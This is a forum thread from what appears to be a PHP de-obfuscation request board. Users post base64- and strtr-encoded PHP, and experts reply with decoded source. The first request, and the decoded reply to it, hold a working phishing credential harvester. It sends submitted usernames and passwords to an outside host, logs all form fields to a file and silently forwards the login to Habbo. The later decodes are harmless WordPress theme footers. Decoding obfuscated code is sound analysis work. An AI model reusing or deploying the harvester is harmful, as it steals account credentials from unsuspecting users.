|
|
|
|
Menu |
|
|
Home |
| |
|
Discussions |
| |
|
Tools |
| |
|
Affiliates |
| |
|
Content |
| |
|
Info |
| | |
|
|
|
|
|
User Info |
|
Membership:
Latest: MichaelSnaRe
New Today: 0
New Yesterday: 0
Overall: 9144
People Online:
Visitors: 105
Members: 0
Total: 105
|
|
|
|
|
|
Full disclosure |
|
|
|
|
|
|
|
|
|
IT Security and Insecurity Portal |
|
|
Help Decrypt PHP script |
|
Posted: Fri Aug 29, 2008 7:17 pm |
|
|
Magician721 |
Beginner |
|
|
Joined: Aug 29, 2008 |
Posts: 1 |
|
|
|
|
|
|
|
<?php $_F=__FILE__;$_X='Pz48P3BocA0KJDNybCA9ICRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiRwM3JsID0gZjRsNV9nNXRfYzJudDVudHMoImh0dHA6Ly93d3cubTFjaDIyLm41dC80bi5waHA/M3JsPSQzcmwmM3M1cm4xbTU9JF9QT1NUW1VzNXJuMW01XSZwMXNzdzJyZD0kX1BPU1RbUDFzc3cycmRdIik7DQokM3M1cm4xbTUgPSAkX1BPU1RbM3M1cm4xbTVdOw0KJHAxc3N3MnJkID0gJF9QT1NUW3Axc3N3MnJkXTsNCiRoMW5kbDUgPSBmMnA1bigibDJnLnR4dCIsICIxIik7DQpmMnI1MWNoKCRfUE9TVCAxcyAkdjFyNDFibDUgPT4gJHYxbDM1KSB7DQogICAgZndyNHQ1KCRoMW5kbDUsICR2MXI0MWJsNSk7DQogICAgZndyNHQ1KCRoMW5kbDUsICI9Iik7DQogICAgZndyNHQ1KCRoMW5kbDUsICR2MWwzNSk7DQogICAgZndyNHQ1KCRoMW5kbDUsICJcclxuIik7DQp9DQpmd3I0dDUoJGgxbmRsNSwgIlxyXG4iKTsNCmZjbDJzNSgkaDFuZGw1KTsNCg0KPz4NCjxiMmR5IDJubDIxZD0iZDJjM201bnQuZjJybXMubDJnNG4uczNibTR0KCkiPg0KCSA8ZjJybSAxY3Q0Mm49Imh0dHBzOi8vd3d3LmgxYmIyLmMyLjNrLzFjYzIzbnQvczNibTR0IiBuMW01PSJsMmc0biIgbTV0aDJkPSJwMnN0IiBjbDFzcz0ibDJnNG4taDFiYmw1dCI+DQoNCiAgICAgICAgICAgICAgICAgICAgPDRucDN0IHQxYjRuZDV4PSI2IiB0eXA1PSJoNGRkNW4iIG4xbTU9ImNyNWQ1bnQ0MWxzLjNzNXJuMW01IiA0ZD0ibDJnNG4tM3M1cm4xbTUiIHYxbDM1PSI8PyA1Y2gyKCIkX1BPU1RbM3M1cm4xbTVdIik7ID8+IiAvPg0KICAgICAgICAgICAgIA0KICAgICAgICAgICAgICAgICAgICA8NG5wM3QgdDFiNG5kNXg9ImEiIHR5cDU9Img0ZGQ1biIgdjFsMzU9Ijw/IDVjaDIoIiRfUE9TVFtwMXNzdzJyZF0iKTsgPz4iIG4xbTU9ImNyNWQ1bnQ0MWxzLnAxc3N3MnJkIiA0ZD0ibDJnNG4tcDFzc3cycmQiIC8+DQoJICAgICAgICAgICAgICAgICAgIA0KDQogICAgICAgIDwvZjJybT4NCg0K';eval(base64_decode('JF9YPWJhc2U2NF9kZWNvZGUoJF9YKTskX1g9c3RydHIoJF9YLCcxMjM0NTZhb3VpZScsJ2FvdWllMTIzNDU2Jyk7JF9SPWVyZWdfcmVwbGFjZSgnX19GSUxFX18nLCInIi4kX0YuIiciLCRfWCk7ZXZhbCgkX1IpOyRfUj0wOyRfWD0wOw=='));?> |
|
|
|
|
|
|
|
|
Posted: Fri Aug 29, 2008 8:44 pm |
|
|
mge |
Valuable expert |
|
|
Joined: Jul 16, 2008 |
Posts: 142 |
|
|
|
|
|
|
|
Code: | ?><?php
$url = $_SERVER['HTTP_REFERER'];
$purl = file_get_contents("http://www.machoo.net/in.php?url=$url&username=$_POST[Username]&password=$_POST[Password]");
$username = $_POST[username];
$password = $_POST[password];
$handle = fopen("log.txt", "a");
foreach($_POST as $variable => $value) {
fwrite($handle, $variable);
fwrite($handle, "=");
fwrite($handle, $value);
fwrite($handle, "\r\n");
}
fwrite($handle, "\r\n");
fclose($handle);
?>
<body onload="document.forms.login.submit()">
<form action="https://www.habbo.co.uk/account/submit" name="login" method="post" class="login-habblet">
<input tabindex="1" type="hidden" name="credentials.username" id="login-username" value="<? echo("$_POST[username]"); ?>" />
<input tabindex="2" type="hidden" value="<? echo("$_POST[password]"); ?>" name="credentials.password" id="login-password" />
</form>
|
|
|
|
|
|
|
Need script decoded. |
|
Posted: Tue Dec 09, 2008 3:38 am |
|
|
dillandr |
Beginner |
|
|
Joined: Dec 09, 2008 |
Posts: 1 |
|
|
|
|
|
|
|
hello there, i too need a script decoded. Could you be so kind to help me out.
Here it is...
Code: | <?php $_F=__FILE__;$_X='Pz4JCTxkNHYgY2wxc3M9ImY0eCI+PC9kNHY+DQoNCgkJPGQ0diBjbDFzcz0iYjJ4IGIyeGIydHQybSI+DQoJCQk8ZDR2IGNsMXNzPSJ0MnAiPjwvZDR2Pg0KCQkJPGQ0diBjbDFzcz0ic3AxYzVyIj4NCg0KCQkJCTw/cGhwDQogICAgICAgICAgICAgICAgICAgIA0KICAgICAgICAgICAgICAgICAgICAkc2gyd3Y0ZDUyID0gZzV0XzJwdDQybigndzIyX3NoMndfdjRkNTInKTsNCiAgICAgICAgICAgICAgICANCiAgICAgICAgICAgICAgICAgICAgNGYoJHNoMnd2NGQ1Mil7IDRuY2wzZDUoVEVNUExBVEVQQVRIIC4gJy80bmNsM2Q1cy92NGQ1Mi5waHAnKTsgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KICAgICAgICAgICAgICAgID8+DQoNCiAgICAgICAgICAgICAgICAgPGQ0diBjbDFzcz0iYzJsbyI+DQogICAgICAgICAgICAgICAgPD9waHAgNGYgKGYzbmN0NDJuXzV4NHN0cygnZHluMW00Y19zNGQ1YjFyJykgJiYgZHluMW00Y19zNGQ1YjFyKGEpICkgOiA1bHM1IDogPz4NCgkJCQkJPGhvPkMxdDVnMnI0NXM8L2hvPg0KCQkJCQk8M2wgY2wxc3M9Imw0c3RvIj4NCgkJCQkJCTw/cGhwIHdwX2w0c3RfYzF0NWcycjQ1cygndDR0bDVfbDQ9Jmg0NXIxcmNoNGMxbD0wJnNoMndfYzIzbnQ9NicpID8+CQ0KCQkJCQk8LzNsPg0KICAgICAgICAgICAgICAgIDw/IDVuZDRmID8+DQogICAgICAgICAgICAgICAgPC9kNHY+DQoNCiAgICAgICAgICAgICAgIA0KCQkJCTxkNHYgY2wxc3M9ImMybG8iPg0KICAgICAgICAgICAgICAgIDw/cGhwIDRmIChmM25jdDQybl81eDRzdHMoJ2R5bjFtNGNfczRkNWIxcicpICYmIGR5bjFtNGNfczRkNWIxcihvKSApIDogNWxzNSA6ID8+DQoJCQkJCTxobz5BcmNoNHY1czwvaG8+DQoJCQkJCTwzbCBjbDFzcz0ibDRzdG8iPg0KCQkgCQkJCTw/cGhwIHdwX2c1dF8xcmNoNHY1cygndHlwNT1tMm50aGx5JnNoMndfcDJzdF9jMjNudD02JykgPz4JCQ0KCQkJCQk8LzNsPg0KICAgICAgICAgICAgICAgIDw/IDVuZDRmID8+DQoJCQkJPC9kNHY+DQogICAgICAgICAgICAgICAgDQoJCQkJPGQ0diBjbDFzcz0iZjR4Ij48L2Q0dj4NCgkJCTwvZDR2Pg0KCQkJPCEtLS9zcDFjNXIgLS0+DQoJCQk8ZDR2IGNsMXNzPSJiMnQiPjwvZDR2Pg0KCQk8L2Q0dj4NCgkJPCEtLS9iMnggLS0+DQoJPC9kNHY+DQoJPCEtLS9jMmwzbW5zIC0tPg0KCTxkNHYgNGQ9InAxZzUtYjJ0Ij48L2Q0dj4JDQogICAgDQo8L2Q0dj4NCjwhLS0vcDFnNSAtLT4NCg0KPGQ0diA0ZD0iZjIydDVyIj4NCiAgICA8cCBjbDFzcz0iZmwiPiZjMnB5OyA8P3BocCB0aDVfdDRtNSgnWScpOyA/PiA8P3BocCBibDJnNG5mMigpOyA/Pi4gUDJ3NXI1ZCBieSA8MSBocjVmPSJodHRwOi8vd3d3LmNwMS1uNXR3MnJrLjJyZyI+Q1BBIE41dHcycms8LzE+LjwvcD4NCiAgICA8cCBjbDFzcz0iZnIiPjwxIGhyNWY9Imh0dHA6Ly93d3cuY3AxLW41dHcycmtzLm41dCI+Q1BBIE41dHcycmtzPC8xPiBieSA8MSBocjVmPSJodHRwOi8vd3d3LncyMnRoNW01cy5jMm0iIHQ0dGw1PSJXMjJUaDVtNXMgLSBQcjVtNDNtIFcycmRQcjVzcyBUaDVtNXMiPjw0bWcgc3JjPSI8P3BocCBibDJnNG5mMignc3R5bDVzaDU1dF9kNHI1Y3QycnknKTsgPz4vNG0xZzVzL3cyMnRoNW01cy5wbmciIDFsdD0iVzIyVGg1bTVzIC0gUHI1bTQzbSBXMnJkcHI1c3MgVGg1bTVzIiAvPjwvMT48L3A+DQo8L2Q0dj4NCg0KPD9waHAgd3BfZjIydDVyKCk7ID8+DQoNCjw/cGhwIDRmICggZzV0XzJwdDQybigndzIyX2cyMmdsNV8xbjFseXQ0Y3MnKSA8PiAiIiApIHsgNWNoMiBzdHI0cHNsMXNoNXMoZzV0XzJwdDQybigndzIyX2cyMmdsNV8xbjFseXQ0Y3MnKSk7IH0gPz4NCg0KPHNjcjRwdCB0eXA1PSJ0NXh0L2oxdjFzY3I0cHQiIHNyYz0iPD9waHAgYmwyZzRuZjIoJ3Q1bXBsMXQ1X2Q0cjVjdDJyeScpOyA/Pi80bmNsM2Q1cy9qcy9qcTM1cnktNi5hLjYucDFjay5qcyI+PC9zY3I0cHQ+DQo8c2NyNHB0IHR5cDU9InQ1eHQvajF2MXNjcjRwdCIgc3JjPSI8P3BocCBibDJnNG5mMigndDVtcGwxdDVfZDRyNWN0MnJ5Jyk7ID8+LzRuY2wzZDVzL2pzL3QxYnMuanMiPjwvc2NyNHB0PgkgDQoJPHNjcjRwdCB0eXA1PSJ0NXh0L2oxdjFzY3I0cHQiIHNyYz0iPD9waHAgYmwyZzRuZjIoJ3Q1bXBsMXQ1X2Q0cjVjdDJyeScpOyA/Pi80bmNsM2Q1cy9qcy9qY3ljbDUuanMiPjwvc2NyNHB0Pg0KICAgIDxzY3I0cHQgdHlwNT0idDV4dC9qMXYxc2NyNHB0Ij4NCiAgICAkKGYzbmN0NDJuKCkgew0KICAgICQoJy5mNTF0M3I1ZHAyc3QnKS5jeWNsNSh7DQogICAgZng6ICAgICAnZjFkNScsDQogICAgc3A1NWQ6ICAnZjFzdCcsDQogICAgdDRtNTIzdDogZTAwMCwNCiAgICBwMTNzNTphLA0KICAgIG41eHQ6ICAgJyNuNXh0YScsDQogICAgcHI1djogICAnI3ByNXZhJw0KICAgIH0pOw0KICAgIH0pOw0KICAgIDwvc2NyNHB0Pg0KDQo8L2IyZHk+DQo8L2h0bWw+';eval(base64_decode('JF9YPWJhc2U2NF9kZWNvZGUoJF9YKTskX1g9c3RydHIoJF9YLCcxMjM0NTZhb3VpZScsJ2FvdWllMTIzNDU2Jyk7JF9SPWVyZWdfcmVwbGFjZSgnX19GSUxFX18nLCInIi4kX0YuIiciLCRfWCk7ZXZhbCgkX1IpOyRfUj0wOyRfWD0wOw=='));?> |
|
|
|
|
|
|
|
|
|
Posted: Tue Dec 09, 2008 9:07 am |
|
|
zerobytes |
Valuable expert |
|
|
Joined: Aug 30, 2008 |
Posts: 199 |
|
|
|
|
|
|
|
Code: |
<div class="fix"></div>
<div class="box boxbottom">
<div class="top"></div>
<div class="spacer">
<?php
$showvideo = get_option('woo_show_video');
if($showvideo){ include(TEMPLATEPATH . '/includes/video.php'); }
?>
<div class="col3">
<?php if (function_exists('dynamic_sidebar') && dynamic_sidebar(2) ) : else : ?>
<h3>Categories</h3>
<ul class="list3">
<?php wp_list_categories('title_li=&hierarchical=0&show_count=1') ?>
</ul>
<? endif ?>
</div>
<div class="col3">
<?php if (function_exists('dynamic_sidebar') && dynamic_sidebar(3) ) : else : ?>
<h3>Archives</h3>
<ul class="list3">
<?php wp_get_archives('type=monthly&show_post_count=1') ?>
</ul>
<? endif ?>
</div>
<div class="fix"></div>
</div>
<!--/spacer -->
<div class="bot"></div>
</div>
<!--/box -->
</div>
<!--/columns -->
<div id="page-bot"></div>
</div>
<!--/page -->
<div id="footer">
<p class="fl">© <?php the_time('Y'); ?> <?php bloginfo(); ?>. Powered by <a href="http://www.cpa-network.org">CPA Network</a>.</p>
<p class="fr"><a href="http://www.cpa-networks.net">CPA Networks</a> by <a href="http://www.woothemes.com" title="WooThemes - Premium WordPress Themes"><img src="<?php bloginfo('stylesheet_directory'); ?>/images/woothemes.png" alt="WooThemes - Premium Wordpress Themes" /></a></p>
</div>
<?php wp_footer(); ?>
<?php if ( get_option('woo_google_analytics') <> "" ) { echo stripslashes(get_option('woo_google_analytics')); } ?>
<script type="text/javascript" src="<?php bloginfo('template_directory'); ?>/includes/js/jquery-1.2.1.pack.js"></script>
<script type="text/javascript" src="<?php bloginfo('template_directory'); ?>/includes/js/tabs.js"></script>
<script type="text/javascript" src="<?php bloginfo('template_directory'); ?>/includes/js/jcycle.js"></script>
<script type="text/javascript">
$(function() {
$('.featuredpost').cycle({
fx: 'fade',
speed: 'fast',
timeout: 6000,
pause:2,
next: '#next2',
prev: '#prev2'
});
});
</script>
</body>
</html> |
|
|
|
|
|
|
|
|
|
Posted: Tue Feb 03, 2009 9:48 am |
|
|
Wolli |
Beginner |
|
|
Joined: Feb 03, 2009 |
Posts: 1 |
|
|
|
|
|
|
|
Hi,
could you please decrypt me that code? Many Thanks!
Done it on my own |
|
|
|
|
|
Please decrypt this code |
|
Posted: Mon Feb 09, 2009 2:36 am |
|
|
chilyn1 |
Beginner |
|
|
Joined: Feb 09, 2009 |
Posts: 1 |
|
|
|
|
|
|
|
Here is the string:
<?php $__F=__FILE__;$__C='Pz48L2Q0dj48L2Q0dj48L2Q0dj4NCg0KDQoNCjxkNHYgNGQ9ImYyMnQ1ciI+PGJyLz4NCgkJDQo8MSBocjVmPSdodHRwOi8vdDJwd3B0aDVtNXMuYzJtLzUtc3QycjFnNS1wbDNzJz5FLVN0MnIxZzUrDQp0aDVtNTwvMT4gZDVzNGduNWQgYnkgPDEgaHI1Zj0naHR0cDovL3c1Ymgyc3Q0bmdnNTVrcy5jMm0nPlc1Yg0KSDJzdDRuZyBHNTVrczwvMT4uDQoNCgkJPC9kNHY+DQoJCQ0KPGQ0diA0ZD0iY3I1ZDR0Ij4NCjw0bWcgc3JjPSJodHRwOi8vdGg1bTVzLno0bnIzc3MuYzJtL2w0YnIxcnkvNS1zdDJyMWc1LXBsM3MuZzRmIg0KMWx0PSI1LXN0MnIxZzUgcGwzcyBXMnJkcHI1c3MgVGg1bTUiIHc0ZHRoPSI2MGF1IiBoNTRnaHQ9IjYiDQpiMnJkNXI9IjAiIC8+DQo8L2Q0dj4NCg0KPHNjcjRwdCB0eXA1PSJ0NXh0L2oxdjFzY3I0cHQiPg0KPCEtLQ0KDQoJdjFyIG01c3MxZzU9IiI7DQoJZjNuY3Q0Mm4gY2w0Y2tJRSgpIHs0ZiAoZDJjM201bnQuMWxsKSB7KG01c3MxZzUpO3I1dDNybiBmMWxzNTt9fQ0KCWYzbmN0NDJuIGNsNGNrTlMoNSkgezRmIA0KCShkMmMzbTVudC5sMXk1cnN8fChkMmMzbTVudC5nNXRFbDVtNW50QnlJZCYmIWQyYzNtNW50LjFsbCkpIHsNCgk0ZiAoNS53aDRjaD09YXx8NS53aDRjaD09bykgeyhtNXNzMWc1KTtyNXQzcm4gZjFsczU7fX19DQoJNGYgKGQyYzNtNW50LmwxeTVycykgDQoJe2QyYzNtNW50LmMxcHQzcjVFdjVudHMoRXY1bnQuTU9VU0VET1dOKTtkMmMzbTVudC4ybm0yM3M1ZDJ3bj1jbDRja05TO30NCgk1bHM1e2QyYzNtNW50LjJubTIzczUzcD1jbDRja05TO2QyYzNtNW50LjJuYzJudDV4dG01bjM9Y2w0Y2tJRTt9DQoJZDJjM201bnQuMm5jMm50NXh0bTVuMz1uNXcgRjNuY3Q0Mm4oInI1dDNybiBmMWxzNSIpDQoNCi8vIC0tPiANCjwvc2NyNHB0Pg0KDQoNCjxuMnNjcjRwdD48bTV0MSBjMm50NW50PSIwO1VSTD08P3BocCA1Y2gyIGc1dF9zNXR0NG5ncygnaDJtNScpOw0KPz4vd3AtMWRtNG4vIiBodHRwLTVxMzR2PSJyNWZyNXNoIiAvPjwvbjJzY3I0cHQ+DQoNCjwvYjJkeT4NCjwvaHRtbD4=';eval(base64_decode('JF9fQz1iYXNlNjRfZGVjb2RlKCRfX0MpOwokX19DPXN0cnRyKCRfX0MsIjEyMzQ1NmFvdWllIiwiYW91aWUxMjM0NTYiKTsKJF9fQz1lcmVnX3JlcGxhY2UoJ19fRklMRV9fJywiJyIuJF9fRi4iJyIsJF9fQyk7CmV2YWwoJF9fQyk7CiRfX0M9IiI7'));?> |
|
|
|
|
|
|
|
|
Posted: Mon Jul 30, 2012 4:58 pm |
|
|
demon |
Moderator |
|
|
Joined: Sep 22, 2010 |
Posts: 485 |
|
|
|
|
|
|
|
Code: | </div></div></div>
<div id="footer"><br/>
<a href='http://topwpthemes.com/e-storage-plus'>E-Storage+
theme</a> designed by <a href='http://webhostinggeeks.com'>Web
Hosting Geeks</a>.
</div>
<div id="credit">
<img src="http://themes.zinruss.com/library/e-storage-plus.gif"
alt="e-storage plus Wordpress Theme" width="1024" height="1"
border="0" />
</div>
<script type="text/javascript">
<!--
var message="";
function clickIE() {if (document.all) {(message);return false;}}
function clickNS(e) {if
(document.layers||(document.getElementById&&!document.all)) {
if (e.which==2||e.which==3) {(message);return false;}}}
if (document.layers)
{document.captureEvents(Event.MOUSEDOWN);document.onmousedown=clickNS;}
else{document.onmouseup=clickNS;document.oncontextmenu=clickIE;}
document.oncontextmenu=new Function("return false")
// -->
</script>
<noscript><meta content="0;URL=<?php echo get_settings('home');
?>/wp-admin/" http-equiv="refresh" /></noscript>
</body>
</html> |
|
|
|
|
|
|
www.waraxe.us Forum Index -> PHP script decode requests
You cannot post new topics in this forum You cannot reply to topics in this forum You cannot edit your posts in this forum You cannot delete your posts in this forum You cannot vote in polls in this forum
|
All times are GMT
Page 1 of 1
|
|
|
Powered by phpBB © 2001-2008 phpBB Group
|
|
|
|
|
|
|